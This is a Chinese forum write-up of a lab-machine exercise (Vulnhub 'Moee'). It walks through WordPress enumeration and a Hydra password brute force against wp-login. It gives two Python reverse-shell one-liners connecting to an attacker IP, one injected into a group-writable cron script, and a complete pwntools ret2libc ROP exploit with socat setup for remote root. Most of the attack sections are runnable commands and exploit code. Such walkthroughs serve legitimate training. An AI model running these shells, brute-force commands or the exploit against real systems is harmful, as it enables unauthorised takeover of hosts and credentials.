本文为看雪论坛优秀文章
看雪论坛作者ID:WindyMan
wpscan --url http://moee --api-token $(cat wpscan_token) --plugins-detection aggressive
测试了一下那个漏洞,没有成功。于是考虑使用用户名进行一轮爆破。将刚才扫描到的用户名保存到names.txt,使用hydra进行爆破。
hydra -L names.txt -P /usr/share/wordlists/rockyou.txt -t 50 -f moee
http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect"
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR IP",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
将文件下载到本地,用下面的命令将空格和邮件去除,只剩下第一列的密码。
awk '{print $1}' list.txt> passwd.txt
find / -writable -not -path "/proc*" 2>/dev/null
最后一行的文件有点意思,是一个脚本文件。
文件信息显示这个文件的所有者是Boe,但组是devsec,而我们的Joxter用户也是这个组的,所以我们可以往文件里加代码。
剩下来还要看一看这个文件有没有被系统执行。我们使用pspy进行查看,果然,隔了一段时间,就显示Flag.py被系统执行了(这个等待时间挺长,作者真够坏的)。
我们直接把反弹shell的python代码写入这个文件。 echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/Flag.py
不一会儿,就成功得到Boe用户的反弹shell。 在Boe的home目录里,发现root权限的ropit文件,看来最后提权的关键很有可能在这个文件上(其实从名字上就可以看出来,这里需要用到ROP,也就是Ret Oriented Programming技术来获取shell)。
把这个文件下载到本地,用新鲜出炉的IDA 7.5看一下。
可以看到,这个程序的功能非常简单,就是输出两个字符串,再调用一个gets,看来溢出点就在这个gets上。溢出的第一点要确定溢出字符串的长度,从反汇编代码中可以看出,var_400变量预留的空间的400h(1024),再加上一个保存的rbp(8个字符),那么溢出的地址应该是1024+8=1032。
在Linux下,一般用gdb配合PEDA动态来确定溢出字符串的长度。gdb加载后,用pattern 2000创建特征字符串。输入r,运行程序,然后输入刚才创建的特征字符串。
接着用pattern offset 检测 rsp(也就是当前堆栈指针)所指向的字符串,可以确定偏移就是1032。 接下来,就是利用pwntools编写exp。通常是先本机测试,待成功获取shell后,再进行远程溢出。由于之前没有接触过ROP和pwntools,恶补了一天相关工具的使用。ROP的具体技术就不再赘述了,网上有很多文章。直接给出exp的代码。
from pwn import * # Import pwntools
p=remote('192.168.56.18',12345)
elf = ELF("./ropit")# 这是已经下载到本地的elf文件
libc = ELF("libc.so.6")#这也是下载到本地的libc.so.6,是ropit需要调用的
rop = ROP(elf)# Find ROP gadgets
PUTS = elf.plt['puts']
MAIN = elf.symbols['main']
LIBC_START_MAIN = elf.symbols['__libc_start_main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]# Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("puts@plt: " + hex(PUTS))
log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
log.info("pop rdi gadget: " + hex(POP_RDI))
#Overflow buffer until return address
base = b"A"*1032
# Create rop chain
# 这个chain的最后是原程序的main,相当于重新执行原程序
rop = base + p64(POP_RDI) + p64(LIBC_START_MAIN) + p64(PUTS) + p64(MAIN)
#读取程序输出
res=p.recvuntil("Let's see what you can use to get the root of this box.n")
#Send our rop-chain payload
p.sendline(rop)
#Parse leaked address
p.recvline()
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, b"x00"))
log.info("Leaked libc address, __libc_start_main: %s" % hex(leak))
libc.address = leak - libc.sym["__libc_start_main"]
log.info("Address of libc %s " % hex(libc.address))
BINSH = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
#这二段rop代码,执行/bin/sh的关键
rop2 = base + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
#第一段rop执行后,最后会返回ropit的main,相当于再执行一遍。所以这里再次读取程序输出
res=p.recvuntil("Let's see what you can use to get the root of this box.n")
#发送第二段代码
p.sendline(rop2)
p.interactive()
由于靶机没有安装pwntools,所以这里采取远程发送payload的方式,但是得在靶机上安装socat,并将程序映射到某个端口上。
wget http://192.168.56.100/socat-1.7.3.4.tar.gz
tar xzf socat-1.7.3.4.tar.gz
cd socat-1.7.3.4
./configure
make
make install
./socat tcp-listen:12345,reuseaddr,fork EXEC:./ropit,pty,raw,echo=0 &
一切准备就绪,在本机运行exp,成功获得root权限。 最后,提供两篇非常好的参考文献,本篇的代码也是基本参考文献中的代码进行修改。 1. Binary exploitation: ret2libc + unknown libc 2. Moee: 1 Vulnhub (Writeup)
- End -
看雪ID:WindyMan
https://bbs.pediy.com/user-home-722051.htm
*本文由看雪论坛 WindyMan 原创,转载请注明来自看雪社区。
# 往期推荐
公众号ID:ikanxue 官方微博:看雪安全 商务合作:[email protected]
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):Vulnhub靶机Moee的Walkthough(含linux下的ROP pwn)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论